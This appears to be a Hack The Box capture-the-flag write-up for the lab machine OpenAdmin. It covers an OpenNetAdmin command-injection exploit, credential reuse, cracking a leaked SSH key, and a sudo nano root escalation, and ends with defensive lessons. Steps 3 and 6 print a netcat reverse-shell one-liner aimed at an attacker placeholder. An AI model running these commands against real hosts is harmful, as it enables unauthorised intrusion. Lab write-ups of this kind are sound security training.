root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat openadmin.md
// writeups

OpenAdmin

4 Jan 2020 · 10 min read
OpenAdmin - maquina de Hack The Box

Executive summary — OpenAdmin is an Easy Linux box with a long, instructive credential-reuse chain: an unauthenticated RCE in OpenNetAdmin 18.1.1 (CVE-2019-3980); cleartext DB credentials reused for SSH (jimmy); an internal web app, reachable only on localhost, that leaks joanna's SSH key (whose passphrase we crack with John); and a final escalation via sudo nano (GTFOBins). An ONA RCE → jimmy → joanna → sudo nano → root path.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.23.183

Attack map

[80/HTTP] Apache 2.4.29 → dirsearch → /music → /ona/  = OpenNetAdmin 18.1.1
   │  CVE-2019-3980 (EDB-47691) — unauthenticated xajax command injection → www-data
   ▼
[FILE] database_settings.inc.php → ona_sys:n1nj4W4rri0R! (cleartext, reused)
   ▼
[SSH]  jimmy
   │  internal group → /var/www/internal (main.php) served on localhost:52846
   │  main.php leaks joanna's id_rsa (shell_exec)
   ▼
[SSH]  joanna  (cracked «bloodninjas» passphrase with John/rockyou)  → user.txt
   │  sudo -l → (ALL) NOPASSWD: /bin/nano /opt/priv
   ▼
[ROOT]  nano → Ctrl+R Ctrl+X («execute command», GTFOBins) → root reverse shell → root.txt

1. Reconnaissance

We start with the basics: which ports are open and what software is listening on each. That decides where we go next.

nmap -A 10.129.23.183
22/tcp  open  ssh      OpenSSH
80/tcp  open  http     Apache httpd 2.4.29 (Ubuntu)

Only two ports: SSH and an Apache server showing Ubuntu's default page, nothing interesting at first glance. With SSH not a reasonable brute-force target, port 80 is the vector.

2. Web enumeration

Apache's default page says nothing on its own — we need to brute-force directories to find what the server actually serves.

dirsearch -u http://10.129.23.183/ -e / -t 50
/music   (301)  →  redirects to /ona/

/music is a decoy/redirect: clicking Login on that page lands on /ona/, which turns out to be OpenNetAdmin 18.1.1, an open-source network management panel.

Why the version matters: ONA 18.1.1 has a public, unauthenticated RCE (CVE-2019-3980, Exploit-DB 47691), disclosed back in 2019. Pinning down the exact software version is the step that turns «there's a web panel» into «there's a known exploit».

3. Foothold — OpenNetAdmin 18.1.1 RCE (CVE-2019-3980)

The vulnerability lives in ONA's xajax AJAX interface: the xajaxargs[] parameter of the xajax=window_submit endpoint doesn't sanitize input before passing it to a shell call, so a crafted POST to /ona/ injects system commands without needing to log in. We use the public PoC exploit, which abuses that endpoint to fire a reverse shell.

nc -lvnp 443
python3 exploit.py exploit http://10.129.23.183/ona/

The exploit injects the following payload into the vulnerable parameter:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 443 >/tmp/f
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.23.183] ...
$ whoami
www-data

Shell confirmed as www-data.

4. Escalate to jimmy — reused DB credentials

The first place to check after a foothold in a PHP application is its configuration: there are almost always database credentials stored in cleartext somewhere.

cat /opt/ona/www/local/config/database_settings.inc.php
ona_sys : n1nj4W4rri0R!

/home has two system users: jimmy and joanna. Application passwords getting reused for system accounts is common enough to be worth trying over SSH:

ssh jimmy@10.129.23.183
jimmy@10.129.23.183's password: n1nj4W4rri0R!
jimmy@openadmin:~$

Access confirmed as jimmy.

5. Escalate to joanna — internal app leaking her SSH key

As jimmy, we enumerate the filesystem for anything out of the ordinary and a second vhost shows up:

ls -la /var/www/
drwxrwx--- 2 jimmy internal 4096  internal

The /var/www/internal directory is only readable/executable by the internal group — and jimmy is a member. Inside, there's a second PHP application that was never meant for public access.

cat /var/www/internal/main.php
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');

In other words: visiting this app dumps joanna's private SSH key. The catch is it isn't exposed on external port 80 (Apache only serves ONA there). Enumerating what listens only on the server's own localhost turns up port 52846:

ss -lntp
LISTEN  0  128  127.0.0.1:52846  0.0.0.0:*

Since it's bound to localhost, we can simply request it from inside the server itself:

curl -s localhost:52846/main.php
-----BEGIN RSA PRIVATE KEY-----
...
-----END RSA PRIVATE KEY-----

We save the output to a local file (joanna-ssh). The key is passphrase-encrypted, so we convert it to a crackable hash and attack it with John and rockyou.txt:

python3 /usr/share/john/ssh2john.py joanna-ssh > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
bloodninjas (joanna-ssh)

Cracked passphrase: bloodninjas. With the private key and its passphrase we can now authenticate as joanna without ever needing her system password.

chmod 600 joanna-ssh
ssh joanna@10.129.23.183 -i joanna-ssh
Enter passphrase for key 'joanna-ssh': bloodninjas
joanna@openadmin:~$ cat user.txt

user.txt obtained.

6. Escalate to root — sudo nano

With user-level access, the standard next step is checking what the account can run as root without a password.

sudo -l
User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv

Why this is root (GTFOBins): nano ships with a «execute command» function (Ctrl+R to read a file, followed by Ctrl+X to execute a command instead of inserting text). Since joanna can run nano through sudo with no password, any command launched from that menu runs as root. This is the same abuse GTFOBins documents for editors with this feature.

sudo /bin/nano /opt/priv

Inside nano:

  • Ctrl+R — «read file».
  • Ctrl+X — instead of giving it a file path, this executes a command.
  • Command executed: the same reverse shell from step 3, with a fresh listener on port 443.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 443 >/tmp/f
nc -lvnp 443
connect to [<ATTACKER_IP>] from (UNKNOWN) [10.129.23.183] ...
# whoami
root
# cat /root/root.txt

root.txt obtained. System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdOpenNetAdmin 18.1.1Unauthenticated command injection via xajax (CVE-2019-3980 / EDB-47691)Shell as www-data
LateralONA config on diskCleartext DB credentials, reused as a system passwordSSH as jimmy
LateralInternal app (main.php, port 52846)Leaks joanna's private SSH key (passphrase crackable with rockyou)SSH as joanna, user.txt
PrivEscsudo /bin/nanonano's «execute command» function abusable via NOPASSWD sudoers entry (GTFOBins)Root, root.txt

Lessons learned

  • Outdated, unpatched software (ONA 18.1.1, from 2019) is equivalent to a ready-made public exploit: tracking software versions and inventory on exposed services matters as much as the firewall in front of them.
  • Never store database credentials in cleartext in config files readable by the web process, and especially never reuse them across an application and system accounts.
  • A service only listening on localhost is not a security boundary by itself: any user with a shell on the box can reach it. If an internal app exposes secrets (like a private key), the risk is still there.
  • SSH keys with weak passphrases are crackable just like any other hash: ssh2john plus a large wordlist (rockyou) should always be the first thing you try.
  • Audit sudoers entries carefully: granting NOPASSWD over a text editor (nano, vi, vim…) is equivalent to granting root, due to their documented GTFOBins shell escapes.